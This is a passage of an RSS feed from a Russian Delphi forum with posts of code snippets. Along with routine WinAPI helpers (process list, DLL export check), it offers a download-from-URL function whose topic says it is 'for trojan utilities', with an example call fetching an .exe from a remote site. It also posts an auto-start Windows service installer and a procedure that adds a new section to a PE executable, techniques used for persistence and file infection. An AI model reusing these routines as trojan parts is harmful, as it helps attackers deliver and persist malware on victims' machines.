&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reset(t&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i:=0 to i2 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;readln(t, tx&amp;#91;i]&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closefile(t&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i:=0 to i2 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;txb&amp;#91;i]:=tx&amp;#91;i]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (txb&amp;#91;i]=(&apos;&apos;&amp;#41;&amp;#41;or(tx&amp;#91;i]=(&apos;&apos;&amp;#41;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 14. GetFuncAvailable(LibN, FuncN: string): integer; &lt;br /&gt;&lt;br /&gt; Проверит наличие функции в библиотеке. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function GetFuncAvailable(LibN, FuncN: string&amp;#41;: integer; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LH: THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FA: Pointer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LoadLibrary(PChar(LibN&amp;#41;&amp;#41;=0 then exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LH:=(GetModuleHandle(PChar(LibN&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LH&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FA:=(GetProcAddress(LH, PChar(FuncN&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FA&lt;&gt;nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(integer(FA&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 15. CreateSvc(ExPath: PChar): boolean &lt;br /&gt;&lt;br /&gt; Функция создаёт сервис. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function CreateSvc(ExPath: PChar&amp;#41;: boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Svc, SCMgr: integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=False; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SCMgr:=OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (SCMgr&lt;&gt;0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Svc:=CreateService(SCMgr, (PChar(D(svcn&amp;#41;&amp;#41;&amp;#41;, (PChar(D(svcn&amp;#41;&amp;#41;&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExPath, nil, nil, nil, nil, nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(SCMgr&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (svc&lt;&gt;0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=true &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=false; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CreateSvc:=Result; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 16. DeleteSvc(SvcName: PChar): integer; &lt;br /&gt;&lt;br /&gt; Удаляет сервис по имени. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function DeleteSvc(SvcName: PChar&amp;#41;: integer; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Svc, SCMgr: cardinal; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SCMgr:=OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if SCMgr=0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=-1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Svc:=OpenService(SCMgr, SvcName, SERVICE_ALL_ACCESS&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Svc=0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=Result-1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not DeleteService(Svc&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=Result-1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(Svc&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Фуух устал. Потом еще добавлю.</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Волк-1024</dc:creator>
<guid>https://delfcode.ru/forum/22-603-1</guid>
</item>
<item>
<title>Добавление секции</title>
<link>https://delfcode.ru/forum/22-519-1</link>
<pubDate>Wed, 29 Jun 2011 16:18:05 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: C@T&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;Procedure AddSection(SecName:string;R_Size,V_Size:dword&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt; const&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Ziro: Byte = $00;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;VirAddr,PhyAddr,Sect_Align,SzofImg: DWORD;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;i:integer;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Sec1,Sec2:Psection;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Secnum : word;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (length(SecName&amp;#41;&gt;8&amp;#41; or (R_Size=0&amp;#41; or (V_Size=0&amp;#41; then exit;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Secnum:=nt.FileHeader.NumberOfSections;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Sect_Align:=nt.OptionalHeader.SectionAlignment;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Sec2:=PSection(SectionList&amp;#91;Secnum-1]&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;PhyAddr:=sec2.physical_size+sec2.physical_offs;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;VirAddr:=((Sec2.rva+Sec2.virtual_size+Sect_Align-1&amp;#41; div Sect_Align&amp;#41; * Sect_Align;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;new(Sec1&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;with Sec1^ do&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;rva:=VirAddr;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;virtual_size:=V_Size;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;physical_size:=R_Size;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;physical_offs:=PhyAddr;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;StrPCopy(name,SecName&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;flags:=$60000020;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;SzofImg:=nt.OptionalHeader.SizeOfImage;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;nt.OptionalHeader.SizeOfImage:=SzofImg+sec2.virtual_size;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Move(Sec1^,Pointer(Dword(MEMPTR&amp;#41;+PE_HEADEROFFSET+$18+PE_NT_HEADERSIZE+ (Secnum*40&amp;#41;&amp;#41;^,40&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;nt.FileHeader.NumberOfSections:=Secnum+1;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;SetFilePointer(PE,Sec1.physical_offs+Sec1.physical_size-R_Size, nil, 0&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;for i:=1 to R_Size do WriteFile(PE, Ziro, SizeOf(Ziro&amp;#41;, SzofImg, nil&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt; end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-519-1</guid>
</item>
<item>
<title>Cкачать и запустить из интернета</title>
<link>https://delfcode.ru/forum/22-71-1</link>
<pubDate>Tue, 10 May 2011 12:55:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Для троянских утилит!&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function GetInetFile(const fileURL, FileName: String; Progress: TProgressBar&amp;#41;: boolean; &lt;br /&gt; const BufferSize = 1024; &lt;br /&gt; var hSession, hURL: HInternet; &lt;br /&gt; Buffer: array&amp;#91;1..BufferSize] of Byte; &lt;br /&gt; BufferLen: DWORD; &lt;br /&gt; f: File; &lt;br /&gt; sAppName: string; &lt;br /&gt; begin &lt;br /&gt; Result:=False; &lt;br /&gt; sAppName := ExtractFileName(Application.ExeName&amp;#41;; &lt;br /&gt; hSession := InternetOpen(PChar(sAppName&amp;#41;, INTERNET_OPEN_TYPE_PRECONFIG, &lt;br /&gt; nil, nil, 0&amp;#41;; &lt;br /&gt; try &lt;br /&gt; Progress.Max:= SizeOf(Buffer&amp;#41;; &lt;br /&gt; hURL := InternetOpenURL(hSession, &lt;br /&gt; PChar(fileURL&amp;#41;,nil,0,0,0&amp;#41;; &lt;br /&gt; try &lt;br /&gt; AssignFile(f, FileName&amp;#41;; &lt;br /&gt; Rewrite(f,1&amp;#41;; &lt;br /&gt; repeat &lt;br /&gt; InternetReadFile(hURL, @Buffer, SizeOf(Buffer&amp;#41;, BufferLen&amp;#41;; &lt;br /&gt; BlockWrite(f, Buffer, BufferLen&amp;#41; &lt;br /&gt; until BufferLen = 0; &lt;br /&gt; CloseFile(f&amp;#41;; &lt;br /&gt; Result:=True; &lt;br /&gt; finally &lt;br /&gt; InternetCloseHandle(hURL&amp;#41;; &lt;br /&gt; Progress.Position:= SizeOf(Buffer&amp;#41;; &lt;br /&gt; end &lt;br /&gt; finally &lt;br /&gt; InternetCloseHandle(hSession&amp;#41;; &lt;br /&gt; end &lt;br /&gt; end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt; &lt;p&gt; Пример: &lt;br /&gt; Код: &lt;p&gt; if GetInetFile(&apos;http://delphi-city.narod.ru/Project1.exe&apos;, &apos;Inet.exe&apos;, ProgressBar1) &lt;br /&gt; then ShowMessage(&apos;Скачка завершина&apos;);</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-71-1</guid>
</item>
<item>
<title>Получить список процессов</title>
<link>https://delfcode.ru/forum/22-486-1</link>
<pubDate>Sun, 08 May 2011 08:42:49 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function GetProcessList: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ph: THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mh: hmodule; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procs: array&amp;#91;0..$FFF] of dword;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count, cm: cardinal; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ModName: array&amp;#91;0..max_path] of char; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl: TStringlist; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl:=TStringlist.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not EnumProcesses(@procs, sizeof(procs&amp;#41;, count&amp;#41; then exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i := 0 to count div 4 - 1 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,procs&amp;#91;i]&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ph &gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EnumProcessModules(ph, @mh, 4, cm&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl.Add(string(ExtractFileName(ModName&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(ph&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl.Delete(0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result:=sl.Text; &lt;br /&gt; 